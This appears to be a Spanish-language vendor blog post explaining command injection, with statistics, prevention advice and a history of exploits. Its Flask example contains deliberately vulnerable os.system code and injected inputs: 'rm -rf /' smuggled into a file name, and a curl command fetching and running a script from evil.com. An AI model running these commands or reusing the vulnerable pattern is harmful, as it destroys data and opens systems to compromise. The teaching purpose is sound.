¿Qué es la inyección de comandos?
La inyección de comandos es una vulnerabilidad todavía muy frecuente en las aplicaciones web a pesar de ser menos famosa que sus primas la inyección SQL o la inyección de código. Si está familiarizado con otras vulnerabilidades de inyección, reconocerá el principio común: la entrada de usuario no fiable no se valida correctamente, lo que lleva a la ejecución de comandos arbitrarios del sistema. Este fallo se produce cuando se pasan entradas no validadas a funciones de nivel de sistema. ¿Hasta qué punto es importante la inyección de comandos? Hemos analizado lo común que es ver esta vulnerabilidad en la naturaleza, *spoiler*, ¡es sorprendentemente común!
Ejemplo de inyección de comandos
Considere este ejemplo de inyección de comandos, digamos que tiene una aplicación donde puede introducir el nombre de un archivo alojado en un servidor. La aplicación recupera ese archivo escribiendo su contenido. El código es el siguiente
import os
file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")
El código anterior espera que un usuario inserte un nombre de archivo como archivo.txt
, sino que un usuario malintencionado inyecta algún código para ejecutar comandos maliciosos.
Por ejemplo
Nombre del fichero: archivo.txt; rm -rf /
Esta entrada mostraría primero el contenido de archivo.txt
y luego ejecutar el malicioso rm -rf
que borrará a la fuerza todos los archivos de un directorio.
El usuario malicioso puede hacer esto porque la aplicación no validó o saneó la entrada del usuario haciendo la aplicación susceptible a la inyección de comandos.
Si desea ver un ejemplo más completo, consulte el contenido adicional al final de esta página. de esta página.
Inyección de mando en cifras: Nuestra investigación
- El 7% de todas las vulnerabilidades detectadas en proyectos de código abierto en 2024 fueron inyecciones de comandos.
- 5,8% para proyectos de código cerrado .
- Aumento del número total de vulnerabilidades de inyección de comandos en proyectos de código abierto , de 2.348 (2023 ) a las 2.600 previstas (2024).
- Como porcentaje de todas las vulnerabilidades, la inyección de comandos es cada vez menos popular: una disminución del 14,6% y del 26,4% para los proyectos de código abierto y de código cerrado, respectivamente, de 2023 a 2024.

Nuestra investigación se centró en investigar proyectos tanto de código abierto como de código cerrado para revelar cuántos escondían vulnerabilidades de inyección de comandos.
En general, el número de vulnerabilidades de inyección de comandos es muy elevado: el 7% de todas las vulnerabilidades notificadas en proyectos de código abierto son de inyección de comandos y el 5,8% en proyectos de código cerrado. Esta cifra se aproxima bastante al número de vulnerabilidades de inyección SQL detectadas.
También hay algunas buenas noticias que extraer de los datos: observamos una sólida tendencia a la reducción de estas vulnerabilidades de 2023 a 2024. Como porcentaje de todas las vulnerabilidades, observamos una reducción del 27% en los proyectos de código cerrado y del 14% en los de código abierto. Probablemente hay muchos factores que contribuyen a esto, un factor probablemente significativo es que el FBI y el CISA en 2024 señalaron la inyección de comandos como una amenaza real e instaron a los vendedores a prestarle atención. Según los datos, esta advertencia fue escuchada.
Lamentablemente, las buenas noticias terminan aquí. Seguimos asistiendo a un aumento del número total de vulnerabilidades notificadas en proyectos de código abierto. El número total de vulnerabilidades de inyección notificadas en proyectos de código abierto pasó de 2.348 en 2023 a 2.450 en lo que va de 2024 (se espera que llegue a 2.600).

Cómo evitar la inyección de comandos
La prevención de las vulnerabilidades de inyección de comandos requiere un enfoque multifacético:
Validación de entradas en el servidor
Un error común que algunos cometen es realizar sólo la validación del lado del cliente, que puede ser eludida por un atacante haciendo una solicitud directa.
import subprocess
# Ejemplo de entrada restringida
allowed_files = ['fichero1.txt', 'fichero2.txt']
user_input = "fichero1.txt" # Debería venir del usuario, pero se valida
if user_input in allowed_files:
subprocess.Popen(['ls', '-l', user_input])
else:
print("¡Entrada no válida!")
Evitar los comandos shell
Sustituya los comandos del shell por funciones o bibliotecas nativas del lenguaje siempre que sea posible. A continuación se muestra un ejemplo de uso del modo de sólo lectura para abrir un archivo y leer los contextos que contiene.
with open("archivo.txt", "r") as f:
print(f.read())
Pruebas automatizadas
Utilice herramientas como Aikido para escanear su código fuente y su aplicación y descubrir estas vulnerabilidades.
Utiliza un cortafuegos integrado en la aplicación
Una de las mejores defensas contra los ataques de inyección es un cortafuegos integrado en la aplicación capaz de detectar y bloquear comandos maliciosos. Aikido's in-app firewall Zen está disponible en código abierto y comercial es capaz de detectar y bloquear ataques de inyección en tiempo de ejecución.
Aplicar el principio del menor privilegio
Configure las aplicaciones y los usuarios para que se ejecuten con los privilegios mínimos necesarios, reduciendo así los posibles daños derivados de su explotación.
El camino a seguir
La inyección de comandos junto con muchas vulnerabilidades de inyección es un reto, desde un punto de vista tecnológico, hemos resuelto esto, lo que significa que no hay necesidad de tener este tipo de vulnerabilidad en sus aplicaciones. Con esto en mente, el hecho de que todavía veamos tantos de estos tipos de vulnerabilidades significa que no podemos esperar un salto cuántico de mejora.
Sin embargo, la inyección de comandos seguirá siendo un problema, ya que este año hemos observado un descenso significativo en el número de grandes organizaciones que se han centrado en esta vulnerabilidad, por lo que es de esperar que la inyección de comandos pierda importancia en el futuro si seguimos concienciando sobre ella.
Contenido adicional
Historia de la inyección de comandos: Infracciones destacadas
La inyección de comandos ha sido una amenaza persistente durante mucho tiempo. De hecho, hubo una importante vulnerabilidad de inyección de comandos que estuvo presente en bash desde 1989 hasta 2014. Más recientemente, en 2024, la importancia de la inyección de comandos fue destacada por el CISA y el FBI, lo que demuestra que sigue siendo una gran preocupación.
1. Los inicios de la inyección de comandos
- Primer uso conocido: Las vulnerabilidades de inyección de comandos surgieron con el auge de los sistemas informáticos multiusuario en las décadas de 1970 y 1980, permitiendo a los atacantes ejecutar comandos arbitrarios a través de entradas no saneadas.
- Décadas de 1980 y 1990: La proliferación de las tecnologías web condujo a una mayor explotación de la inyección de comandos, en particular a través de scripts CGI mal protegidos.
2. Brechas y explotaciones significativas
- 1998: Primer ataque documentado de inyección de comandos en la Web: Se explota una vulnerabilidad en un script CGI basado en Perl ampliamente utilizado, lo que supone uno de los primeros incidentes importantes de inyección de comandos basados en la Web.
- 2010: Gusano Stuxnet (inyección de comandos integrados): Stuxnet utilizó la inyección de comandos para atacar sistemas de control industrial, demostrando el alcance de la vulnerabilidad más allá de los entornos informáticos tradicionales.
3. 2010s: Explotación a escala
- 2014: Vulnerabilidad Shellshock: Shellshock (CVE-2014-6271) explotó el procesamiento de comandos de Bash, afectando a millones de sistemas en todo el mundo.
- 2018: Cisco ASA VPN Exploit (CVE-2018-0101): Una vulnerabilidad de inyección de comandos en el software ASA de Cisco permitía la ejecución remota de código, comprometiendo la seguridad de la empresa.
4. 2020s: Explotaciones y tendencias modernas
- 2020: Exploit de Citrix ADC Gateway: Los atacantes aprovecharon las vulnerabilidades de inyección de comandos en los sistemas Citrix, lo que provocó importantes filtraciones de datos.
- 2023: Vulnerabilidad de MOVEit (SQL e inyección de comandos): Un fallo de inyección de comandos en el software MOVEit Transfer provocó la filtración generalizada de datos en múltiples organizaciones.
Vulnerabilidad realista de inyección de comandos
El Código Vulnerable
Veamos un ejemplo algo más complejo de inyección de comandos. A continuación se muestra el código de una sencilla aplicación web en Python. Permite a los usuarios crear un archivo ZIP con los ficheros especificados enviando una petición POST al archivo /archivo
ruta.
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/archive', methods=['POST'])
def archive_files():
files = request.form.get('files') # User provides file names to archive
archive_name = request.form.get('archive_name') # User provides archive name
command = f"zip {archive_name}.zip {files}" # Command built dynamically
os.system(command) # Execute the system command
return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
app.run(debug=True)
Cómo funciona
El usuario suministra:
archivos
(por ejemploarchivo1.txt archivo2.txt
) para especificar qué ficheros incluir en el archivo.nombre_archivo
para especificar el nombre del archivo zip resultante.
El código construye un comando shell dinámicamente:
1. zip nombre_archivo.zip archivo1.txt archivo2.txt
2. En os.system()
ejecuta el comando, permitiendo que las entradas proporcionadas por el usuario dicten su comportamiento.
Explotación
Un atacante aprovecha esto inyectando comandos adicionales en el archivo nombre_archivo
o archivos
entradas.
Entrada proporcionada por el atacante:
nombre_archivo
:mi_archivo; rm -rf /
archivos
:archivo1.txt
La orden resultante:
zip mi_archivo.zip archivo1.txt; rm -rf /
zip mi_archivo.zip archivo1.txt
: Crea un archivo como se esperaba.; rm -rf /
: Elimina todos los archivos del servidor ejecutando un comando destructivo independiente.
Un ejemplo más sofisticado
El atacante podría aprovecharse de ello para descargar malware o extraer datos:
nombre_archivo
: archive; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh
Comando resultante:
zip archivo.zip archivo1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh
Este comando:
- Crea un archivo (
zip archivo.zip archivo1.txt
). - Descarga código malicioso (
curl -o malware.sh http://evil.com/malware.sh
). - Ejecuta el malware (
bash malware.sh
).